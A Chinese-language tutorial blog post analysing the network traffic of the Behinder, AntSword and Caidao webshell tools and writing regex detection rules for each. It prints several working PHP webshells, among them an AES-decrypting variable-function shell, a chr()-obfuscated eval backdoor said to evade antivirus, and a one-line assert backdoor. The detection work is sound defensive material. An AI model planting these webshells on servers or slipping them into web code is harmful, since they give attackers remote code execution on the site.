Webshell連接工具流量分析(上)

本文對菜刀、蟻劍、冰蝎,三大webshell連接工具進行一個簡單的流量分析和規則總結。

webshell連接工具流量分析

本文章適合剛開始學習流量分析的朋友,大佬就可以繞過了,寫的比較基礎。我也是一個小白,總結一下對于webshell連接工具的使用技巧和一些規則,也分享一些自己覺得好用的方法給大家,歡迎大家幫我補充,有什么好用的技巧也可以分享一下,大家共同進步。本篇大部分內容都是自己總結的,如果有什么不對的或者不好的地方希望大家不要噴我,但是歡迎幫我指正。最后希望大家可以關注我的專欄。有任何疑問可以私信我。

最近接到個任務,對現在比較熱門的webshell連接工具,菜刀、冰蝎、蟻劍,進行一下流量分析。

冰蝎(Behinder)

什么是冰蝎?

顧名思義,冰蝎是一種來自于東南亞的致命毒蝎,它尾部釋放的毒液具有致幻作用,同時也可以入藥,而且。。。嗯,編不下去了。回到正題。

菜刀作為老一代wenshell連接工具,它的流量特征十分明顯,現如今的安全設備基本上都可以識別到菜刀的流量。現在的菜刀基本都是在安全教學中使用,現在加密webshell已經走進了大眾的視野,使用這種工具管理webshell,從連接到各種操作所有流量都是加密的,很多傳統的waf,webhids很難檢測到。這給企業帶來了新的挑戰。而冰蝎就是其中的佼佼者,它是一款動態二進制加密網站管理客戶端,會給流量分析應用帶來很大的困擾,接下來將會對這些工具的流量特征、檢測方案進行簡單探討。

這個是冰蝎的專屬webshell

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

我們來看一下官方給出的處理過程:

首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰并寫入Session。

客戶端將源代碼,如assert|eval(“phpinfo();”)利用AES加密,發送至服務端,服務端收到之后先進行AES解密,得到中間結果字符串assert|eval(“phpinfo();”)。

服務端利用explode函數將拆分為一個字符串數據,索引為0的元素為字符串assert,索引為1的元素為字符串eval(“phpinfo();”)。

以可變函數方式調用索引為0的數組元素,參數為索引為1的數組元素,即為assert(“eval(\”phpinfo;\”)”) 。

在測試服務器上放上我們冰蝎的專屬webshell。把代理掛到burp上。

image.png

image.png

image.png

這個是冰蝎的連接請求也就是首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰并寫入Session。其實針對這個過程我們可以寫一個檢測規則。

Behinder-connect-server    第一組規則(注意這一組規則必須結合使用,不然誤報非常嚴重)
['request_url']: \.(php|jsp|asp|jspx|asa)\?(\w){1,15}=\d{2,3}$ 
['response_body']: [a-z0-9]{16}$ 

image.png

這一組規則實際測試的效果很不錯,誤報也很少。有圖為證,這個是實時抓取到的攻擊特征流量。

image.png

冰蝎連接后的特征流量如下圖:

image.png

image.png

結合連接時和連接后的特征流量。可以總結如下共同特征

冰蝎流量共同特征
1.Cookie: PHPSESSID=gkomf5c9n7psaok9gul7r41jd3; path=/
2.Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.CAAhauBRkRWLw5WtdsJlyWv8COGLQazBUsgfx/9tKw1i5h8/lOYGNaDuoGX/dlCsq6neISlaRj2lrupZJm6IN6FngHEImmUhvCe2vzcd/CSJD711SvbS448PHdJ

對于共同特征我們并沒有選取user-agent,因為這個特征攻擊者很容易修改掉,從而產生大量誤報。

Behinder-webshell  第二組規則
['Cookie']: PHPSESSID=^[A-Za-z0-9]+$; path=/
['Accept']:text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
['request_body']:^[A-Za-z0-9/+=]+$
['response_body']:^[A-Za-z0-9/+=]+$
['response_code']: 200 

包含匹配響應碼的匹配主要時為了降低誤報,同時包含匹配可以大大提高規則命中的效率。其實對于網絡中攻擊流量,安全人員更關心的是攻擊成功的部分,而攻擊嘗試同樣也值得我們注意。

蟻劍(AntSword)

什么是蟻劍?

難道是螞蟻在月下獨舞尚方寶劍?非也非也!

我們來看看官方介紹:

中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向于合法授權的滲透測試安全人員以及進行常規操作的網站管理員。

中國蟻劍推崇模塊化的開發思想,遵循開源,就要開得漂亮的原則,致力于為不同層次的人群提供最簡單易懂、方便直接的代碼展示及其修改說明,努力讓大家可以一起為這個項目貢獻出力所能及的點滴,讓這款工具真正能讓大家用得順心、舒適,讓它能為大家施展出最人性化最適合你的能力!

同樣的蟻劍也支持代理功能,我們還是將其代理到burp中便于進行流量分析。

image.png

image.png

image.png

我在測試中使用的這個webshell很經典,曾經號稱可以繞過各大殺軟。

testlele1.php

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
?>

image.png

這一組規則是蟻劍在連接服務器端的webshell時產生的

AntSword-connect-server
['request_url']: ini_set\(.*display_errors
['response_code']: 200 

base64混淆流量

image.png

base64混淆檢測規則
['request_url']: eval\(.*base64_decode\( 
['response_code']: 200 
['response_body']: ^[A-Za-z0-9]+$ 

chr混淆流量
image.png

chr混淆規則檢測
['request_url']: eval\(chr\(^[0-9]{0,3}$ 
['response_body']: 200 
['response_body']: ^[A-Za-z0-9] 

chr16混淆流量

image.png

chr16混淆規則檢測
['request_url']: eval\(chr\(0x.* 
['response_code']: 200 
['response_body']: ^[A-Za-z0-9] 

rot13混淆流量

image.png

rot13混淆規則檢測
['request_url']: eval\(.*str_rot13 
['response_code']: 200 
['request_body']: ^[A-Za-z0-9] 

菜刀(caidao)

什么是菜刀?

這里并不是我們平時切菜用的菜刀,如果您需要切菜用的菜刀請到某寶某東某多購買。

中國菜刀是一款c/s型的webshell管理工具,它不像傳統的asp惡意腳本或php惡意腳本上傳到網站上可以直接打開,它有自己的服務端程序,但是這個服務端程序卻極小,只有一句代碼,因此保證了webshell的隱蔽性,并且它實現的功能也是非常強大的。作者老兵,一個樸實,低調的技術牛人。

image.png

image.png

注意:菜刀內部是沒有設置代理的功能的,這里我們需要客戶端的流量分析工具,這里我推薦大家使用proxifier或者httpanalyzerstd。下邊就是它們的界面圖。

proxifier

image.png

httpanalyzerstd

image.png

這也是一個很經典的webshell

<?php array_map("ass\x65rt",(array)$_REQUEST['door']);?>

三個版本菜刀的連接流量以及進行操作的流量

11版本的菜刀流量

image.png

image.png

11版本菜刀規則總結
['request_body']: eval.*QGluaV9zZXQo 
['response_code']: 200 
['response_body']: ->\|((.*\n)+|.*)\|<- 

14版本的菜刀流量

image.png

image.png

14版本菜刀規則總結
['request_body']: $xx.*chr\(.*QGluaV9zZXQo 
['response_code']: 200 
['response_body']: ->\|((.*\n)+|.*)\|<- 

16版本的菜刀流量

image.png

image.png

16版本菜刀規則總結
['request_body']: array_map.*QGluaV9zZXQo 
['response_code']: 200 
['response_body']: ^[email protected]((.*\n)+|.*)[email protected]

可以看到三個版本的菜刀都有這一串字符QGluaV9zZXQo,解碼后的內容是不是有些似曾相識,我們在對蟻劍連接服務器wenshell的流量進行分析時也見到過這一串字符,其實不止這么短,但是對規則而言已經足夠了。蟻劍的核心源代碼有很多都是借鑒菜刀的,這也說明寶刀雖老,但是精神長存啊!

image.png

所有版本菜刀通用規則
['request_body']: QGluaV9zZXQo 
['response_code']: 200 
['response_body']: (->\|((.*\n)+|.*)\|<-)|(^[email protected]((.*\n)+|.*)[email protected]$)

取消
Loading...

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 微信上那些说赚钱是真的吗